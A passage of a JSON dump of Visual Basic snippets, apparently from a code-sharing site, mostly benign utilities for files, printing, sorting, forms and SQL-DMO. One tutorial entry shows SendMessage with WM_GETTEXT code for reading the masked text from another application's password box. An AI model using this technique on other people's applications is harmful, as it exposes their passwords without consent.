comments."},{"WorldId":1,"id":23814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23818,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23824,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23835,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23841,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23850,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23868,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23870,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23875,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23893,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23913,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23925,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23935,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23945,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23953,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23976,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24009,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24012,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24020,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24032,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24041,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24042,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24049,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24050,"LineNumber":1,"line":"'-- If you have any problems with this code please contact me\n'-- at patrick1@mediaone.net. Feel free to drop me a line\n'-- letting me know you are using this or if this code is\n'-- helpfull to you. Enjoy!!\nPublic Function ReadFile(strPath As String) As Variant\nOn Error GoTo eHandler\n \n Dim iFileNumber As Integer\n Dim blnOpen As Boolean\n \n iFileNumber = FreeFile\n \n Open strPath For Input As #iFileNumber\n \n blnOpen = True\n \n ReadFile = Input(LOF(iFileNumber), iFileNumber)\n \neHandler:\n \n If blnOpen Then Close #iFileNumber\n \n If Err Then MsgBox Err.Description, vbOKOnly + vbExclamation, Err.Number & \" - \" & Err.Source\n \nEnd Function\nPublic Function WriteFile(strPath As String, strValue As String) As Boolean\nOn Error GoTo eHandler\n Dim iFileNumber As Integer\n Dim blnOpen As Boolean\n \n iFileNumber = FreeFile\n \n Open strPath For Output As #iFileNumber\n \n blnOpen = True\n \n Print #iFileNumber, strValue\n \neHandler:\n \n If blnOpen Then Close #iFileNumber\n \n If Err Then\n MsgBox Err.Description, vbOKOnly + vbExclamation, Err.Number & \" - \" & Err.Source\n Else\n WriteFile = True\n End If\n \nEnd Function"},{"WorldId":1,"id":24055,"LineNumber":1,"line":"Function IsExpired(ExpireDate As Date, ExpireTime As Date) As Boolean\n Dim lngDayDiff As Long\n Dim lngTimeDiff As Long\n \n ' Using DateDiff, a function unique to VB6, we check the\n ' difference between the current date (extracted from Now)\n ' and the expiration date.\n lngDayDiff = DateDiff(\"d\", Now, ExpireDate)\n \n ' If the difference is a negative that means that we are\n ' past the expired date so of course it is expired.\n If lngDayDiff < 0 Then\n GoTo YesExpired\n \n ' If the difference is a zero that means we are ON the\n ' date of expiration. We check the time for a difference\n ' to determine if the time has expired.\n ElseIf lngDayDiff = 0 Then\n \n ' Get the time difference. Note that we use TimeValue(Now)\n ' instead of just Now because it will return the exact\n ' time, not the date/time.\n lngTimeDiff = DateDiff(\"n\", TimeValue(Now), ExpireTime)\n \n ' If the time difference is a negative, we are past it so\n ' the date is expired.\n If lngTimeDiff <= 0 Then\n GoTo YesExpired\n \n ' Otherwise (if we are on the time, or before it) then\n ' we are not yet expired.\n Else\n GoTo NoExpired\n End If\n \n ' Otherwise (if we are on the date, or before it) then\n ' we are not yet expired.\n Else\n GoTo NoExpired\n End If\n \nYesExpired:\n IsExpired = True\n Exit Function\nNoExpired:\n IsExpired = False\n Exit Function\nEnd Function"},{"WorldId":1,"id":24057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24065,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24074,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24081,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24084,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24090,"LineNumber":1,"line":"Private Sub Command1_Click()\nLockWorkStation\nEnd Sub"},{"WorldId":1,"id":24091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24093,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24099,"LineNumber":1,"line":"'make a file on you desktop called test.txt'\nName (\"C:\\windows\\desktop\\test.txt\") As (\"C:\\windows\\desktop\\test.html\")"},{"WorldId":1,"id":24100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24105,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function CreateRectRgn Lib \"gdi32\" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\nPrivate Declare Function CombineRgn Lib \"gdi32\" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long\nPrivate Declare Function SetWindowRgn Lib \"user32\" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long\nPublic Sub GlassifyForm(frm As Form)\nConst RGN_DIFF = 4\nConst RGN_OR = 2\nDim outer_rgn As Long\nDim inner_rgn As Long\nDim wid As Single\nDim hgt As Single\nDim border_width As Single\nDim title_height As Single\nDim ctl_left As Single\nDim ctl_top As Single\nDim ctl_right As Single\nDim ctl_bottom As Single\nDim control_rgn As Long\nDim combined_rgn As Long\nDim ctl As Control\n If frm.WindowState = vbMinimized Then Exit Sub\n ' Create the main form region.\n wid = frm.ScaleX(frm.Width, vbTwips, vbPixels)\n hgt = frm.ScaleY(frm.Height, vbTwips, vbPixels)\n outer_rgn = CreateRectRgn(0, 0, wid, hgt)\n border_width = (wid - frm.ScaleWidth) / 2\n title_height = hgt - border_width - frm.ScaleHeight\n inner_rgn = CreateRectRgn( _\n border_width, _\n title_height, _\n wid - border_width, _\n hgt - border_width)\n ' Subtract the inner region from the outer.\n combined_rgn = CreateRectRgn(0, 0, 0, 0)\n CombineRgn combined_rgn, outer_rgn, _\n inner_rgn, RGN_DIFF\n ' Create the control regions.\n For Each ctl In frm.Controls\n If ctl.Container Is frm Then\n ctl_left = frm.ScaleX(ctl.Left, frm.ScaleMode, vbPixels) _\n + border_width\n ctl_top = frm.ScaleX(ctl.Top, frm.ScaleMode, vbPixels) _\n + title_height\n ctl_right = frm.ScaleX(ctl.Width, frm.ScaleMode, vbPixels) _\n + ctl_left\n ctl_bottom = frm.ScaleX(ctl.Height, frm.ScaleMode, vbPixels) _\n + ctl_top\n control_rgn = CreateRectRgn( _\n ctl_left, ctl_top, _\n ctl_right, ctl_bottom)\n CombineRgn combined_rgn, combined_rgn, _\n control_rgn, RGN_OR\n End If\n Next ctl\n ' Restrict the window to the region.\n SetWindowRgn frm.hWnd, combined_rgn, True\nEnd Sub"},{"WorldId":1,"id":24106,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24126,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>API TUTORIAL for Beginners</title>\n</head>\n<body bgcolor=\"#C0C0C0\">\nAPI TUTORIAL FOR BEGINNERS-II\nThe SendMessage API\n \nThe SendMessage Api is one of the\nmost powerful api functions . Before we take a look at it's uses and\nsyntax let me give you a brief overview of how the windows os works.\nThe Windows Operating\nSystem is a message based operating system .By saying message based means\nthat whenever the operating system (os) has to comunicate with applications\nor two applications need to communicate/send data among themselves they do\nso by sending messages to one another. For eg when an application is to be \nterminated the os sends a WM_DESTROY message to that application, also when you\nare adding an item to a listbox ,the application/os sends a LB_ADDSTRING message\nto the listbox . \nWhile programming in VB the\nsendmessage api is not of much use when u want to manipulate objects controls in\nyour own application.But say u wanted to change the title of some other\napplication or wanted to get the text from a textbox of another application or\nwant to terminate another application ,or set the text in a text box of another\napplication. The uses are endless if u want to play around with your\nsystem.Also if you are planning to move over to win32 programming using \nc++ you just cannot escape the sendmessage api.\nLet us look a the declaration of\nthe sendmessage api\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long \n\n The SendMessage api\nfunction basically takes 4 parameters\n<ol>\n <li>\n hwnd-The handle of the window\n to which the message is being sent</li>\n <li>\n wMsg-The message that is\n being sent to the window.</li>\n <li>\n wParam-Parameter to be sent\n along with the message(depends on the message)</li>\n <li>\n lParam-Parameter to be sent\n along with the message(depends on the message)</li>\n</ol>\nExample1\nLet us see a practical\nimplementation of this api . Let us assume that we want to get the ***\nmasked text from a password textbox of a window!!! .We need to know a few things\nbefore we can do this. The first thing we need to know is the handle\nto the textbox window. One way of getting this is by using the\nwindowfrompoint api.Check my first tutorial on how to use this api and get the\nwindow handle of the textbox.\nOnce we have this handle we need\nto send a WM_GETTEXTLENGTH message to the textbox .This message is essentially\nsent to query the textbox and get the length of the text string in that\ntextbox.After we know the length of the string we have to send a WM_GETTEXT\nmessage to the textbox and the textbox will return the text as the result .This\nis how it is done\nAlong with the declaration of the sendmessage api you need to\ndeclare the 2 message constants that we are going to use\nPrivate Const WM_GETTEXT = &HD \n \nPrivate Const WM_GETTEXTLENGTH = &HE\nPut the following in any event of a control .In this example we\nare putting it in a command click event\nPrivate Sub command1_click() \nDim length As Long \nDim result As Long \nDim strtmp As String \nlength = SendMessage(hwnd, WM_GETTEXTLENGTH, ByVal 0, ByVal 0) + 1 \nstrtmp = Space(length) \nresult = SendMessage(hwnd, WM_GETTEXT, ByVal length, ByVal strtmp) \n\nEnd Sub\nhere hwnd is the handle of the password textbox.\nExample 2\nIn this example we will try to change the title of any\napplication ,in this case it will be a windows notepad application.\nAs was the case previously we have to get the handle of the\nnotepad window .There are 2 ways to get this one is by using the windowfrompoint\napi and the other is by using the findwindow api.The findwindow api returns the\nhandle of the window whose title has been specified in the function.\nAfter we get the handle of this window we do a sendmesaage\nfunction\ndim result as long\ndim str1 as string\nstr1="Venky"\nresult = SendMessage(hwnd, WM_SETTEXT, ByVal 0, ByVal str1)\nUsing almost the similar techniques you can also put your own\ntext in the edit window of the notepad application.\n \nIn this tutorial we have seen a few uses of the\nsendmessage api.You can try out any of the numerous messages in the windows os\nsystem on any applciation. Sendmessage is in other words a bridge for\ncommunication between your application and another application\nQuestions,comments send them to <a href=\"mailto:venky_dude@yahoo.com\">venky_dude@yahoo.com</a>\n\n \n \n \n</body>\n</html>\n"},{"WorldId":1,"id":24127,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24139,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24141,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24150,"LineNumber":1,"line":"'put this in your Form_Load event or in whatever you would like to trigger the code.\n'Note be sure that the cursor you want to use is a Animated cursor.\nDim sCursorFile As String\nDim hCursor As Long\nDim hOldCursor As Long\nDim lReturn As Long\n'Pointing to the place where to cursor is.\nsCursorFile = App.Path & \"\\animantedcursor.ani\"\nhCursor = LoadCursorFromFile(sCursorFile)\n'Change the Form1.hwnd to yourformname.hwnd\nhOldCursor = SetClassLong(Form1.hwnd, GCL_HCURSOR, hCursor)\n'Use this to get back to normal cursor again.\n'you can trigger it on form unload event or whatever you want to use to end it.\nlReturn = SetClassLong(Form1.hWnd, GCL_HCURSOR, hOldCursor)"},{"WorldId":1,"id":24152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24182,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24193,"LineNumber":1,"line":"Option Explicit\nConst DATABASE = \"*\" 'Enter name of the database here\nConst DBFILE_LOC = \"C:\\MSSQL7\\DATA\\*_DATA.mdf\" 'Physical path\nConst USER = \"*\" 'User name for login\nConst PASSWORD = \"*\" 'Password\nConst TABLE = \"*\" 'Name of the new table\nConst COLUMN1 = \"*\" 'Field#1 name\nConst COLUMN2 = \"*\" 'Field#2 name\nSub Main()\nDim oSQLServer As SQLDMO.SQLServer, oDatabase As SQLDMO.DATABASE\nDim tblNewTable As New SQLDMO.TABLE\nDim colNewColumn1 As New SQLDMO.Column, colNewColumn2 As New SQLDMO.Column\nOn Error GoTo Errors\n Set oSQLServer = New SQLDMO.SQLServer\n oSQLServer.Connect , \"sa\" 'Use USER/PASSWORD if neccessary\n \n Set oDatabase = oSQLServer.Databases(DATABASE)\n \n 'Populate the Column objects to define \n 'the table columns.\n colNewColumn1.Name = COLUMN1\n colNewColumn1.Datatype = \"decimal\"\n colNewColumn1.Length = 5\n colNewColumn1.NumericPrecision = 3\n colNewColumn1.NumericScale = 0\n colNewColumn1.AllowNulls = False\n \n colNewColumn2.Name = COLUMN2\n colNewColumn2.Datatype = \"datetime\"\n colNewColumn2.Length = 8\n colNewColumn2.AllowNulls = True\n \n 'Name the table, then set desired properties \n 'to control eventual table construction\n tblNewTable.Name = TABLE\n tblNewTable.FileGroup = \"PRIMARY\"\n \n 'Add column objects to the Columns collection \n tblNewTable.Columns.Add colNewColumn1\n tblNewTable.Columns.Add colNewColumn2\n \n 'Create the table by adding the \n 'Table object to its containing collection.\n oDatabase.Tables.Add tblNewTable\n \n Exit Sub\n \nErrors:\n ErrorHandler (\"Main\")\nEnd Sub\nSub ErrorHandler(ByVal strLocation As String)\n If Err.Number <> 0 Then\n MsgBox \"Error #: \" & Str(Err.Number) & vbCrLf & _\n \"Description: \" & Err.Description & vbCrLf & _\n \"Source: \" & Err.Source, _\n vbCritical + vbSystemModal, \"CreateTable: \" & strLocation\n End If\nEnd Sub\n"},{"WorldId":1,"id":24195,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24197,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24209,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24212,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24220,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24225,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24236,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24255,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24256,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24263,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24286,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24287,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Sub CopyMemory _\n Lib \"kernel32\" _\n Alias \"RtlMoveMemory\" ( _\n lpDest As Any, _\n lpSource As Any, _\n ByVal cbCopy As Long _\n )\nPrivate Sub Command1_Click()\n ' Sort an array with CopyMemory()\n Dim i As Integer\n Dim str_Unsorted As String, _\n str_Sorted As String\n \n ' Populate some sample data\n Dim vArray(25) As String\n vArray(0) = \"EFGHIJKLMNOPQRSTUVWXYZABCD\"\n vArray(1) = \"RSTUVWXYZABCDEFGHIJKLMNOPQ\"\n vArray(2) = \"PQRSTUVWXYZABCDEFGHIJKLMNO\"\n vArray(3) = \"DEFGHIJKLMNOPQRSTUVWXYZABC\"\n vArray(4) = \"IJKLMNOPQRSTUVWXYZABCDEFGH\"\n vArray(5) = \"ZABCDEFGHIJKLMNOPQRSTUVWXY\"\n vArray(6) = \"HIJKLMNOPQRSTUVWXYZABCDEFG\"\n vArray(7) = \"LMNOPQRSTUVWXYZABCDEFGHIJK\"\n vArray(8) = \"STUVWXYZABCDEFGHIJKLMNOPQR\"\n vArray(9) = \"TUVWXYZABCDEFGHIJKLMNOPQRS\"\n vArray(10) = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n vArray(11) = \"CDEFGHIJKLMNOPQRSTUVWXYZAB\"\n vArray(12) = \"VWXYZABCDEFGHIJKLMNOPQRSTU\"\n vArray(13) = \"MNOPQRSTUVWXYZABCDEFGHIJKL\"\n vArray(14) = \"FGHIJKLMNOPQRSTUVWXYZABCDE\"\n vArray(15) = \"JKLMNOPQRSTUVWXYZABCDEFGHI\"\n vArray(16) = \"YZABCDEFGHIJKLMNOPQRSTUVWX\"\n vArray(17) = \"XYZABCDEFGHIJKLMNOPQRSTUVW\"\n vArray(18) = \"OPQRSTUVWXYZABCDEFGHIJKLMN\"\n vArray(19) = \"BCDEFGHIJKLMNOPQRSTUVWXYZA\"\n vArray(20) = \"GHIJKLMNOPQRSTUVWXYZABCDEF\"\n vArray(21) = \"KLMNOPQRSTUVWXYZABCDEFGHIJ\"\n vArray(22) = \"NOPQRSTUVWXYZABCDEFGHIJKLM\"\n vArray(23) = \"WXYZABCDEFGHIJKLMNOPQRSTUV\"\n vArray(24) = \"QRSTUVWXYZABCDEFGHIJKLMNOP\"\n vArray(25) = \"UVWXYZABCDEFGHIJKLMNOPQRST\"\n \n ' Here's the unsorted array\n For i = 0 To UBound(vArray)\n str_Unsorted = str_Unsorted & vArray(i) & vbCrLf\n Next i\n MsgBox str_Unsorted\n \n ' Sort the array\n SortMe vArray\n \n ' Here's the sorted array\n For i = 0 To UBound(vArray)\n str_Sorted = str_Sorted & vArray(i) & vbCrLf\n Next i\n MsgBox str_Sorted\n \n \nEnd Sub\nSub SortMe(varArray() As String)\n Dim i As Long, j As Long\n Dim l_Count As Long\n Dim l_Hold As Long\n \n ' Typical sorting routine\n l_Count = UBound(varArray)\n For i = 0 To l_Count\n For j = i + 1 To l_Count\n If varArray(i) > varArray(j) Then\n ' Here's the juice!\n SwapStrings varArray(i), varArray(j)\n End If\n Next\n Next\nEnd Sub\nSub SwapStrings(pbString1 As String, pbString2 As String)\n Dim l_Hold As Long\n CopyMemory l_Hold, ByVal VarPtr(pbString1), 4\n CopyMemory ByVal VarPtr(pbString1), ByVal VarPtr(pbString2), 4\n CopyMemory ByVal VarPtr(pbString2), l_Hold, 4\nEnd Sub\n"},{"WorldId":1,"id":24293,"LineNumber":1,"line":"<pre>Private Sub PrintWordWrap(YourText As String, LeftMargin_InTwips As Long, RightMargin_InTwips As Long)\nOn Error GoTo Errors\nStart = 1\nChar = \"\"\nTempText = \"\"\nDim boolSpace As Boolean\nFor Location = 1 To Len(YourText)\nChar = Mid(YourText, Location, 1)\nIf Char = \" \" Then\n If Printer.TextWidth(TempText2 & Mid(YourText, Start, Location - Start)) <= Printer.Width - RightMargin_InTwips - LeftMargin_InTwips - 700 Then\n TempText = Mid(YourText, Start, Location - Start)\n Pos = Location\n boolSpace = True\n Else\n Start = Location\n Pos2 = Location\n Printer.CurrentX = LeftMargin_InTwips\n Printer.Print TempText2 & TempText\n TempText2 = Mid(YourText, Pos + 1, Location - Pos - 1)\n TempText = \"\"\n boolSpace = False\n End If\nElseIf Char = vbCr And Mid(YourText, Location + 1, 1) = vbLf And Printer.TextWidth(TempText2 & Mid(YourText, Start, Location - Start)) <= Printer.Width - RightMargin_InTwips - LeftMargin_InTwips - 700 Then\n \n If Not InStr(Mid(YourText, Start, Location - Start), vbCr) <> 0 Then\n Printer.CurrentX = LeftMargin_InTwips\n End If\n Printer.Print TempText2 & Mid(YourText, Start, Location - Start);\n Start = Location + 1\n Pos2 = Location\n TempText = \"\"\n TempText2 = \"\"\n boolSpace = False\nElseIf boolSpace = False And _\n Printer.TextWidth(Mid(YourText, Start, Location - Start)) >= Printer.Width - Printer.TextWidth(\"W\") - RightMargin_InTwips - LeftMargin_InTwips - 700 And _\n Printer.TextWidth(Mid(YourText, Start, Location - Start)) < Printer.Width - RightMargin_InTwips - LeftMargin_InTwips - 700 Then\n \n Printer.CurrentX = LeftMargin_InTwips\n Printer.Print Mid(YourText, Start, Location - Start)\n Start = Location\n Pos = Location\n TempText = \"\"\n TempText2 = \"\"\n \nEnd If\nIf Printer.CurrentY > Printer.Height Then Printer.NewPage\nNext\nIf Printer.TextWidth(TempText2 & TempText) <= Printer.Width - RightMargin_InTwips - LeftMargin_InTwips - 700 Then\n Printer.CurrentX = LeftMargin_InTwips\n Printer.Print TempText2 & Mid(YourText, Pos2, Location - Pos2);\nEnd If\nPrinter.EndDoc\nExit Sub\nErrors:\nboxit = MsgBox(Err.Description, vbOKOnly + vbApplicationModal + vbInformation, Err.Source & \" Error #\" & Err.Number)\n' 700 twips are subtracted from the width of the\n' page to account for the non-printable area for\n' MY printer. I don't know for sure, but this may\n' vary depending on your printer.\nEnd Sub</pre>"},{"WorldId":1,"id":24295,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24298,"LineNumber":1,"line":"Public Function CopyFile(Source As String, Destiny As String, Optional BlockSize As Long = 32765) As Boolean\n '<EhHeader>\n On Error GoTo CopyFile_Err\n '</EhHeader>\n Dim Pos As Long\n Dim posicao As Long\n Dim pbyte As String\n Dim buffer As Long\n Dim Exist As String\n Dim LenSource As Long\n Dim FFSource As Integer, FFDestiny As Integer\n \n100 buffer = BlockSize\n102 posicao = 1\n104 Exist = \"\"\n106 Exist = Dir$(Destiny)\n108 If Exist <> \"\" Then Kill Destiny\n110 FFSource = FreeFile\n112 Open Source For Binary As #FFSource\n114 FFDestiny = FreeFile\n116 Open Destiny For Binary As #FFDestiny\n118 LenSource = LOF(FFSource)\n120 For Pos = 1 To LenSource Step buffer\n \n122 If Pos + buffer > LenSource Then buffer = (LenSource - Pos) + 1\n \n124 pbyte = Space$(buffer)\n126 Get #FFSource, Pos, pbyte\n128 Put #FFDestiny, posicao, pbyte\n130 posicao = posicao + buffer\n \n'132 RaiseEvent Progress(Round((((Pos / 100) * 100) / (LenSource / 100)), 2))\n'134 DoEvents\n \n Next\n136 Close #FFSource\n138 Close #FFDestiny\n'140 RaiseEvent CopyComplete\n '<EhFooter>\n Exit Function\nCopyFile_Err:\n MsgBox \"Um erro inesperado ocorreu!\" & vbCrLf & _\n \"Por favor anote ou copie (Pressionando a tecla 'Print-Screen' e depois CTRL+V no PAINT) os dados abaixo:\" & vbCrLf & _\n \"No Erro: \" & Err.Number & vbCrLf & _\n \"Local: Project1.Form1.CopyFile \" & vbCrLf & _\n \"Linha: \" & Erl & vbCrLf & vbCrLf & _\n \"Descri├º├úo: \" & Err.Description & vbCrLf & vbCrLf & _\n \"Opera├º├úo Cancelada!\", vbCritical, \"Erro!\"\n Screen.MousePointer = vbDefault\n Resume CopyFile_Sai\nCopyFile_Sai:\n Exit Function\n '</EhFooter>\nEnd Function\n"},{"WorldId":1,"id":24301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24305,"LineNumber":1,"line":"Public Function compare_files(fileOne As String, fileTwo As String) As Boolean\n \n Dim fileOneContent As String\n Dim fileTwoContent As String\n Dim temp As String\n \n Open fileOne For Input As #1\n Do Until EOF(1)\n Line Input #1, temp\n fileOneContent = fileOneContent + temp\n Loop\n Close #1\n \n Open fileTwo For Input As #1\n Do Until EOF(1)\n Line Input #1, temp\n fileTwoContent = fileTwoContent + temp\n Loop\n Close #1\n \n If fileOneContent = fileTwoContent Then\n compare_files = True\n Else\n compare_files = False\n End If\n \nEnd Function\n"},{"WorldId":1,"id":24310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24312,"LineNumber":1,"line":"' This was made by Jason Ryczek\nOption Explicit\nPrivate Const PI = 3.14159\nPrivate Sub Form_Load()\nMe.BackColor = vbBlack\nRandomize Timer\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nDim Bend As Single\nDim Depth As Integer\nDim Thickness As Integer\nDim Length As Single\nDim RND_Scale As Single\nDim DTheta As Single\nDim RND_DTheta As Single\nDim Max_Branches As Integer\n' t = temp for redraw with same values\nDim tBend As Single\nDim tDepth As Integer\nDim tThickness As Integer\nDim tLength As Single\nDim tRND_Scale As Single\nDim tDTheta As Single\nDim tRND_DTheta As Single\nDim tMax_Branches As Integer\nConst Length_Scale = 0.75\nMe.Cls\nDoEvents\n' Get Values\nDepth = CInt(InputBox(\"Enter Depth:\", \"Depth...\", \"5\"))\nDTheta = CSng(InputBox(\"Ender DTHETA:\", \"DTHETA...\", \"36\")) * PI / 180#\nRND_Scale = (Round(3 * Rnd, 1) / 10)\nRND_DTheta = (InputBox(\"Enter Number For Random DTHETA:\", \"Random DTHETA\", \"20\")) * PI / 180#\nMax_Branches = CInt(InputBox(\"Enter The Max Amount Of Branches:\", \"Max Branches\", \"3\"))\nBend = PI / 90\nLength = (Me.ScaleHeight - 10) / ((1 - Length_Scale ^ (Depth + 1)) / (1 - Length_Scale))\nThickness = Depth\n' Draw Tree\nDrawBranch Bend, Thickness, Depth, Me.ScaleWidth \\ 2, Me.ScaleHeight - 5, Length, Length_Scale, RND_Scale, -PI / 2, DTheta, RND_DTheta, Max_Branches\nEnd Sub\nPrivate Sub DrawBranch(ByVal Bend As Single, ByVal Thickness As Single, ByVal Depth As Integer, ByVal X As Single, ByVal Y As Single, ByVal Length As Single, ByVal Length_Scale As Single, ByVal RND_Scale As Single, ByVal theta As Single, ByVal DTheta As Single, ByVal RND_DTheta As Single, ByVal Max_Branches As Integer)\nDim x1 As Integer, y1 As Integer, x2 As Integer, y2 As Integer\nDim Status As Integer\nDim Num_Bends As Integer\nDim Num_Branches As Integer\nDim i As Integer\nDim New_Length As Integer\nDim New_Theta As Single\nDim New_Bend As Single\nDim DT As Single\nDim T As Single\nConst DistancePerBend = 5#\nConst BendFactor = 2#\nConst MaxBend = PI / 6\n' Draw Bending Branches\nNum_Bends = Length / DistancePerBend\nT = theta\nx1 = X\ny1 = Y\nFor i = 1 To Num_Bends\n x2 = x1 + DistancePerBend * Cos(T)\n y2 = y1 + DistancePerBend * Sin(T)\n \n ' Thickness of branches\n Me.DrawWidth = Thickness 'Depth\n ' Draw Lines\n 